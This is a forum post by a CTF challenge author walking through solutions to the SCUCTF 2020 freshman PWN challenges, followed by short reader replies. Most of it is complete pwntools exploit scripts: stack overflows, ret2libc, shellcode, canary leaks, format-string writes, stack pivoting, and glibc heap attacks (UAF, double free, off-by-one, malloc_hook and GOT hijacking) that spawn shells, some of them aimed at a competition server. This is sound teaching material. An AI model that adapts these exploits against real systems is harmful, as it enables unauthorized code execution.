首页
社区
课程
招聘
[讨论]SCUCTF 2020新生赛 PWN部分出题笔记
2020-11-27 11:34 10957

[讨论]SCUCTF 2020新生赛 PWN部分出题笔记

2020-11-27 11:34
10957

题目搭建用的是:
https://github.com/giantbranch/pwn_deploy_chroot.git
感谢师傅,是真的方便,适合我这种懒狗。

 

本次新生赛PWN的做题情况比我想象中要好很多,很多新/老同学都愿意慢慢研究or接触PWN的技术,作为出题人挺开心的。

 

题目简单解析如下:

ret2text

直接覆盖返回地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# encoding=utf-8
from pwn import *
 
context.terminal = '/bin/zsh'   # 调试使用的终端(shell)是zsh
elf = ELF("./ret2text")
sh = remote("121.196.34.30",10007)
 
# attach(sh)
# pause()
 
payload = "a"*0x10   + "b"*0x8 + p64(elf.sym['success'])
# payload:有效(攻击)载荷
#  在返回之前,gets()函数丢弃换行符('\n'),取而代之的是以'\x00'结尾。
sh.sendline(payload)
 
sh.interactive()# encoding=utf-8
from pwn import *
 
context.terminal = '/bin/zsh'   # 调试使用的终端(shell)是zsh
elf = ELF("./ret2text")
 
 
# attach(sh)
# pause()
 
payload = "a"*0x10   + "b"*0x8 + p64(elf.sym['success'])
# payload:有效(攻击)载荷
#  在返回之前,gets()函数丢弃换行符('\n'),取而代之的是以'\x00'结尾。
sh.sendline(payload)
 
sh.interactive()

ret2libc

用一条pop_rdi的gadget控制system的参数为'/bin/sh'字符串的地址,然后用system在PLT中的表项调用system("/bin/sh\x00")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
from pwn import *
context.terminal='/bin/zsh'
context.log_level='debug'
#sh = process('./ret2libc1')
 
elf = ELF("./ret2libc1")
binsh_addr = 0x0000000000400a14
system_plt = elf.plt['system']
 
pop_rdi = 0x00000000004009f3
payload = "a"*0x78 + p64(pop_rdi )+ p64(binsh_addr) + p64(system_plt)
pause()
sh.sendline(payload)
 
sh.interactive()

ret2shellcode

32位静态编译。留了个坑,gcc这个版本下编译到32位会对取返回地址的过程做一个简单的处理,所以不能直接覆盖返回地址,需要构造跳转。
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# encoding=utf-8
#!/usr/bin/env python
from pwn import *
context.terminal='/bin/zsh'
context.log_level='debug'
#sh = process('./ret2shellcode') # 开启一个对应程序的进程
 
context.arch='i386'
print shellcraft.sh()   # 使用shellcraft.sh()可以生成对应的shellcode
 
pre='aaaa'+p32(0x80F0A00+8)
shellcode = pre+asm(shellcraft.sh())
buf2_addr = 0x80F0A00
# system('/bin/sh')
 
 
# attach(sh)
# pause()
 
payload=shellcode.ljust(0x64, 'A') + p32(buf2_addr+8)+p32(buf2_addr+8)
info(hex(len(payload)))
 
sh.send(payload) # 我们输入的恶意的shellcode会被放在buf2上
sh.interactive()

babycanary

首先覆盖canary低位的\x00,然后泄露canary,最后把canary拼到payload里,覆盖返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./canary"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
def exp():
    global io
    #io = process(elf_path)
 
    #pause()
    sal("length?",str(0x19))
    sal('what?','a'*0x18)
    ru('a'*0x18+'\n')
    c = u64(r(7).rjust(8,'\x00'))
    success(hex(c))
    ru("OK")
    s=0x0000000000400885
    payload = flat(
        'a'*0x18,
        c,
        'a'*8,
        s
    )
    sl(payload.ljust(0x30,'\x00'))
    shell()
 
exp()

medium_fmt

通过格式化字符串使用%p可以泄露pie和libc。
接下来使用%n覆盖main函数返回地址即可。
注意由于 sprintf(format,"Repeater:%s\n",s); 造成了栈中数据不对齐,需要手动补位对齐一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./fmt"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
 
def exp():
    global io
    #io = process(elf_path)
    io = remote("121.196.34.30",10003)
    ru("Welcome to strfmt PWN!")
    sl("%83$p")
    ru("Repeater:")
    main = int(r(12),16)
    success("main:"+hex(main))
    pie = main-0xba6
    success("pie:"+hex(pie))
    s = 0xb50+pie
    success("success:"+hex(s))
 
 
    sl("%76$p")
    ru("Repeater:")
    stack = int(r(14),16)-(0x8c40-0x8b68)
    success("ret addr in stack:"+hex(stack))
 
    num1 = (s>>32)-0x10
    #num1=0
 
    payload = flat(
        "a"*7,
        "%"+str(num1)+"c"#252
        "%9$hnaaaaaaa",
        p64(stack+4),
    )
    sl(payload)
    ru("Repeater:")
 
   # pause()
    num2 = ((s>>16)&0xffff)-0x10
    payload = flat(
        'a'*7,
        "%"+str(num2)+"c",
        "%9$hnaaaaa",
        p64(stack+2)
    )
    sl(payload)
    ru("Repeater:")
 
 
    num3 = (s&0xffff)-0x10
    payload = flat(
        'a'*7,
        "%"+str(num3)+"c",
        "%9$hnaaaaa",
        p64(stack)
    )
    sl(payload)
    ru("Repeater:")
 
    sl('a'*0x100)
 
 
    shell()
 
 
exp()#

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include <signal.h>
void success(){
    system("/bin/sh");
}
void sig_handler(int num)
{
    printf("hurry baby!!\n");
    exit(0);
}
void set_up(){
        signal(SIGALRM, sig_handler);
        alarm(5);
}
int main(){
    setbuf(stdout,0);
    setbuf(stderr,0);
    setbuf(stdin,0);
 
    puts("Welcome to strfmt PWN!");
    set_up();
    char s[0x100];
    char format[0x12c];
    memset(s,0,0x101);
    memset(format,0,0x12c);
 
    while(1){
        read(0,s,0x100);
        sprintf(format,"Repeater:%s\n",s);
            if(strlen(format)>265){
                break;
            }
        printf(format);
    }
 
    printf("go away~");
    return 0;
}

stack_migration

简单的64位栈迁移。
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include <signal.h>
 
void sig_handler(int num)
{
    printf("hurry baby!!\n");
    exit(0);
}
void set_up(){
        signal(SIGALRM, sig_handler);
        alarm(5);
}
void pwn(){
    system("echo SCUCTF{fake_flag_hahahahhahaha_bendan}");
}
void vul(){
    char s[0x20];
    printf("Give you a stack addr:%p\n",&s);
    memset(s,0,0x20);
    puts("SCUCTF:");
    read(0,s,0x30);
    return;
}
int main(){
    setbuf(stdout,0);
    setbuf(stderr,0);
    setbuf(stdin,0);
    //set_up();
    puts("Stack migration is a very useful skill!");
    vul();
    return 0;
}

给了system,并且一开始给出了栈地址,那么就把栈迁移到本来的位置就行,然后读入'/bin/sh',哟弄个pop_rdi控制参数,最后调用system即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./stack_migration"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
 
def exp():
    global io
    #io = process(elf_path)
    io = remote("121.196.34.30",10008)
   # attach(io)
    lr = 0x00000000004008cb
    pop_rdi = 0x0000000000400993
    call_system = 0x40086E
    ru("Give you a stack addr:")
    stack = int(r(len("0x7fff8ae99b90")),16)
    fake_ebp = stack-8
    payload = flat(
        pop_rdi,
        stack+0x18,
        call_system,
        "/bin/sh\x00",
        fake_ebp,
        lr
    )
    ru("SCUCTF:")
    sl(payload)
    shell()
 
 
exp()

easy_uaf

简单的UAF。

思路一

第一个思路是通过在fastbin中double free然后修改全局的chunks表中某一未free的buf的地址(如果有不清楚fastbin中doublefree的请看fastbin中的doublefree),让这个地址指向got表中free函数对应的地址,然后edit编辑这个buf,等价于修改了got表中free函数的地址,我们将free函数的地址改为system函数的地址,然后将shellcode写在某一未free的buf的chunk上,然后free这个buf,此时相当于调用了system(“bin/sh/“)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# encoding=utf-8
from pwn import *
 
 
context.log_level='debug'
context.terminal='/bin/zsh'
 
libc = ELF("./libc-2.23.so")
elf = ELF("./easy_uaf")
 
def add(io,size,buf):
    io.recvuntil(">> ")
    io.sendline("1")
    io.recvuntil("size: ")   
    io.sendline(str(size))
    io.recvuntil("buf: ")
    io.sendline(str(buf))
 
def delt(io,idx):
    io.recvuntil(">> ")
    io.sendline("4")
    io.recvuntil("idx: ")
    io.sendline(str(idx))
 
def show(io,idx):
    io.recvuntil(">> ")
    io.sendline("3")
    io.recvuntil("idx: ")
    io.sendline(str(idx))
 
def edit(io,idx,buf):
    io.recvuntil(">> ")
    io.sendline("2")
    io.recvuntil("idx: ")
    io.sendline(str(idx))
    io.recvuntil("buf: ")
    io.sendline(str(buf))
 
 
io = process("./easy_uaf")
 
chunk = 0x6020c0    # 储存每个块的指针+大小
free_got = elf.got['free']
 
chunk_32 = 0x6020e0
 
 
size = 0x20
add(io,0x30,"b"*0x10)   #id:0
add(io,size,"a"*0x10)   #id:1
add(io,size,"b"*0x10)   #id:2
 
 
 
 
delt(io,1)
delt(io,2)
delt(io,1)
 
 
 
 
p1 = flat(p64(chunk))      
 
 
add(io,size,p1)     # 做假fd
 
add(io,size,"c"*0x10)
add(io,size,"d"*0x10)
# 此时fatbin指向假fd的位置
 
 
 
p3 = flat(p64(free_got),p64(8))
print "free_got :",hex(free_got)
 
add(io,size,p3) # 改掉chunk的索引为free got
 
 
 
show(io,1)      # 利用freegot泄漏free的真实地址计算libc base
free_now = u64(io.recv(6).ljust(8,'\x00'))
print "free_now:",hex(free_now)
offset = free_now-libc.sym['free']
print "offset:",hex(offset)
# pause()
# attach(io)
 
print "system :",hex(libc.sym['system']+offset)
sys = libc.sym['system']+offset
 
p4 = flat(p64(sys))
edit(io,1,p4)           # 改free为system
 
 
p5 = flat("/bin/sh".ljust(0x20,"\x00"))
edit(io,3,p5)           # shellcode  写入
 
 
delt(io,3)
io.interactive()

思路二

通过申请一个0x80的放入unsortbin和一个0x10的放入fastbin;然后再申请0x60,此时造成unsortedbin中的chunk被切割,返回的还是之前的chunk,UAF了(只不过此时的size变成0x60)
然后show()拿到main_arena地址进而获取malloc hook的地址,继而获取libc_base。
再删掉这个0x60的块(del时不检查这个块是否被删过了),把它放到fastbin
此时再直接编辑这个在fastbin中的块,直接改他的fd指针到malloc_hook-0x23。
然后再把它申请回来,此时fastbin指向fakechunk(malloc_hook-0x23)
然后调用add写这个fakechunk,改realloc hook为ogg,同时改malloc hook为realloc+偏移来调整栈空间确保满足ogg的条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# encoding=utf-8
from pwn import *
 
 
#context.log_level='debug'
context.terminal='/bin/zsh'
 
libc = ELF("./libc-2.23.so")
elf = ELF("./easy_uaf")
 
 
 
def add(io,size,buf):
    io.recvuntil(">> ")
    io.sendline("1")
    io.recvuntil("size: ")   
    io.sendline(str(size))
    io.recvuntil("buf: ")
    io.sendline(str(buf))
 
def delt(io,idx):
    io.recvuntil(">> ")
    io.sendline("4")
    io.recvuntil("idx: ")
    io.sendline(str(idx))
 
def show(io,idx):
    io.recvuntil(">> ")
    io.sendline("3")
    io.recvuntil("idx: ")
    io.sendline(str(idx))
 
def edit(io,idx,buf):
    io.recvuntil(">> ")
    io.sendline("2")
    io.recvuntil("idx: ")
    io.sendline(str(idx))
    io.recvuntil("buf: ")
    io.sendline(str(buf))
 
def debug(io):
    attach(io)
    pause()
 
io = process("./easy_uaf")
 
 
#========================================
 
chunk = 0x6020c0    # 储存每个块的指针+大小
free_got = elf.got['free']
 
 
add(io,0x80,'a'*0x10)   #先开0x80
add(io,0x10,'b'*0x09)   #再开0x10
 
delt(io,0)              # 删掉0x80
 
add(io,0x60,'c'*7)      # 再开0x60此时返回的是之前删掉的0x80的块,UAF(切割)
 
 
show(io,0)     # show不检查size,所以打出来main_arena+88
io.recv(8)      # 过滤8个字节
main_arena_88 = u64(io.recv(6).ljust(8,'\x00'))
print "main_arena_88: ",hex(int(main_arena_88)-0x80)
malloc_hook = main_arena_88 - 0x80 - 88 - 0x10
print "malloc_hook: ",hex(malloc_hook)
offset = malloc_hook - libc.sym['__malloc_hook']
print "libc base: ",hex(offset)
 
delt(io,0)      # 重新再free idx:0 此时在fastbin里,注意,此时不delet 2 而是 delet 0,两个指向的是一样的,但是如果delet 2 会造成size清空导致无法edit
 
p1 = flat(p64(malloc_hook-0x23))   
edit(io,2,p1)   # 编辑idx:2,此时这个块已经在fastbin里了,相当于直接改了fd指针。
 
#debug(io)
 
add(io,0x60,'a')     # 再申请0x60,又返回了fastbin里的chunk,此时fastbin指向fake chunk
 
 
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
 
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
 
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
 
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
 
 
 
ogg = 0x4526a
p2 = flat('\x00'*0xB,p64(ogg+offset),p64(offset+libc.sym['realloc']+0x10))    # 0xB刚好到达__realloc_hook,改reallochook为ogg,改malloc为reallochook+偏移 此时调整栈空间
print "realloc hook+0ffset: ",hex(offset+libc.sym['realloc']+0x10)
print "ogg+offset: ",hex(ogg+offset)
add(io,0x60,p2) 
 
#pydebug(io)
#delt(io,3)
#io.interactive()
io.recvuntil(">> ")
io.sendline("1")
io.sendline(str(0x60))
io.interactive()

very_easy_heap

glibc2.23,漏洞点一个uaf一个off-by-one,那么由于没有show,那么思想就是在fastbin中踩出一个指向main_arena的指针。通过off-by-one做overlap即可。最后劫持mallochook为ogg即可

 

具体做法其实就是当有off-by-one时考虑,做overlap,假如可以修改pre_in_use位,那么比如说先申请三个chunk,0,1,2(其中0号为大chunk可直接进入unsortbin,1号为0x68小chunk,2号为大chunk可直接进入unsortbin),先del(0),再del,add1号,对2号使用off-by-one,同时伪造pre_size位为0+1号的总size合(注意申请1号chunk大小以0x8结尾,方便off-by-one),此时指示0,1号chunk为free状态,再del(2),此时触发unsortbin的前向合并,0、1、2三个chunk被合并放入unsortbin,然后再单独del(1)使其进入fastbin,此时1号chunk被overlap,他既在unsortbin又再fastbin。

 

这个过程做两次,第一次踩出来用来打stderr+157泄露libc,第二次用来劫持mallochook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./pwn"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='>>>'      # choice提示语
siz='len:'     # size输入提示语
con='content:'         # content输入提示语
ind='idx:'      # index输入提示语
edi=''          # edit输入提示语
def add(index,size,content='',c='1'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(size))
    sa(con,content)
def free(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
 
 
 
    add(0,0xb8,'a'*0xb0)
    add(1,0x68,'b'*0x68)
    add(2,0xf8,'c'*0xc8)
    add(3,0x28,'d'*0x28)
    free(0)
    free(1)
    add(1,0x68,'\x00'*0x60+p64(0x130)+'\x00')
    free(2)
    free(1)
    add(0,0xb8,'a'*0xb8+'\x71')
    add(1,0x70,'\xdd\x25')
    free(0)
    add(0,0xb8,'a'*0xb8+'\x71')
 
    # 劫持到stderr+157,远程需要爆破
    add(4,0x68,'\xdd')
    add(5,0x68,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x20')
    libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-(0x7ffff7dd2620-0x7ffff7a0d000)
    info("libc base:"+hex(libc_base))
    malloc_hook = libc_base+libc.sym['__malloc_hook']
    #add(2,0xef,'pppp')
    info("mallochook:"+hex(malloc_hook))
    sl('1')
    sal('idx:',str(2))
    sal('len:',str(0xe8))
    sa('content','ppp')
    add(6,0xb8,'a'*0xb0)
    add(7,0x68,'b'*0x68)
    add(8,0xf8,'c'*0xc8)
    add(9,0x28,'d'*0x28)
    free(6)
    free(7)
    add(7,0x68,'\x00'*0x60+p64(0x130)+'\x00')
    free(7)
    free(8)
    add(6,0xb8,'a'*0xb8+'\x71')
    add(7,0x70,p64(malloc_hook-0x23))
    free(6)
    add(6,0xb8,'a'*0xb8+'\x71')
    add(10,0x68,'\xed')
    ogg = libc_base+0xf1207
    add(11,0x68,'\x00'*0x13+p64(ogg))
    sal('>>>','1')
    sal("idx:",'0')
    sal('len:','100')
 
"""
系统自带的libc one_gadget
 
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
 
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
 
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
 
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
 
while(1):
    try:
        exp()
        io.interactive()
        break
 
    except Exception:
 
        info("try again")
        io.close()

easy_heap

strdup实际开的堆与size不一致导致堆溢出。无free,考虑劫持借助堆溢出把top chunk拉入unsortedbin做unsortbin attack,向bss上存chunk地址的表上写一个main_arena地址,然后打stdout泄露libc,最后劫持atoi为system,传入/bin/sh\x00即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/root/libc-2.23.so"
elf_path = "./pwn"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='choice>> '      # choice提示语
siz='size: '     # size输入提示语
con='content: '         # content输入提示语
ind='idx: '      # index输入提示语
edi=''          # edit输入提示语
def Add(size,index,content='',c='1'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(size))
    sa(con,content)
def Del(index,c=''):
    sal(cho,c)
    pass
def Show(index,c=''):
    sal(cho,c)
    pass
def Edit(index,content='',c='2'):
    sal(cho,c)
    sal(ind,str(index))
    sa(con,content)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
 
    io = process(elf_path)
    #get_libc_base(io)
 
    # 0x6021C0
 
    for i in range(23):
        Add(0x88,0,'0'*0x88)
 
    Add(0x88,0,'0')  
    Add(0x88,1,'1'*0x80)    # 开0x90
    Add(0x88,2,'a'*0x30)
 
    Edit(2,'a'*0x30+p64(0)+p64(0xb1))   #劫持top chunk的size为0xb1
 
    Add(0x90,0,'0'*0x90)                # topchunk进入unsortbin
 
    # unsorted bin attack
    Add(0x88,0,'a')                     # 切割unsortedbin中的top chunk
    heap_list = 0x6021C0
    Edit(0,'a'*0x10+p64(0)+p64(0x71)+p64(0)+p64(heap_list-0x10))    # 通过Edit溢出,劫持ub里的chunk的bk指针,指向heap_list-0x10
    Add(0x68,1,'a'*0x60)                # ubattack触发,修改heaplist的0号位置的ptr为main_arena+88(unsortbin)
    # pause()
    Edit(0,p64(0x602048)+p64(0)+p64(0x6020c0+0x70)*2)   # 劫持unsortbin,编辑
 
    Add(0x90,2,'p'*0x78+p64(0x91)+p64(0x6021b0)*2)   
 
    atoi_got = elf.got['atoi']
    printf_plt = elf.plt['printf']
    payload = 'a'*0x80+'\x20\x26'           # stdout爆破半字节泄露
    Edit(2,payload)
    Edit(0,p64(0xfbad1800)+p64(0)*3+'\x20')
    libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x3c5620
    info(hex(libc_base))
    system = libc_base+libc.sym['system']
    payload='s'*0x80 + p64(atoi_got)
    Edit(2,payload)
    Edit(0,p64(system))
    sal(cho,'/bin/sh\x00')
    #shell()
 
 
while(1):
    try:
        exp()
        io.interactive()
        break
 
    except Exception:
 
        info("try again")
        io.close()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2021-3-1 17:29 被Roland_编辑 ,原因: 添加题目附件
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (10)
雪    币: 14301
活跃值: (10664)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
34r7hm4n 7 2020-11-28 11:03
2
0
雪    币: 481
活跃值: (2163)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Zard_ 2021-1-19 09:43
3
0
师傅 这个只有解题exp 有木有题目附件 让我们练一下
雪    币: 12776
活跃值: (16307)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2021-1-19 10:25
4
0
优秀
雪    币: 168
活跃值: (823)
能力值: ( LV10,RANK:173 )
在线值:
发帖
回帖
粉丝
kaoyange 1 2021-2-28 21:46
5
0
不上传附件真的好吗
雪    币: 6784
活跃值: (8535)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
无名侠 12 2021-2-28 22:39
6
0
原来大哥是scu的
雪    币: 4165
活跃值: (15932)
能力值: (RANK:710 )
在线值:
发帖
回帖
粉丝
Roland_ 12 2021-2-28 23:15
7
0
kaoyange 不上传附件真的好吗
明天就传
雪    币: 4165
活跃值: (15932)
能力值: (RANK:710 )
在线值:
发帖
回帖
粉丝
Roland_ 12 2021-2-28 23:15
8
0
无名侠 原来大哥是scu的
大师傅好~
雪    币: 6784
活跃值: (8535)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
无名侠 12 2021-3-1 16:44
9
0
ScUpax0s 大师傅好~
有空一起恰饭,我在你们隔壁学校
雪    币: 4165
活跃值: (15932)
能力值: (RANK:710 )
在线值:
发帖
回帖
粉丝
Roland_ 12 2021-3-1 17:11
10
0
无名侠 有空一起恰饭,我在你们隔壁学校
哈哈哈要的!
雪    币: 168
活跃值: (823)
能力值: ( LV10,RANK:173 )
在线值:
发帖
回帖
粉丝
kaoyange 1 2021-3-3 12:32
11
0
ScUpax0s 明天就传
感谢,已下载
游客
登录 | 注册 方可回帖
返回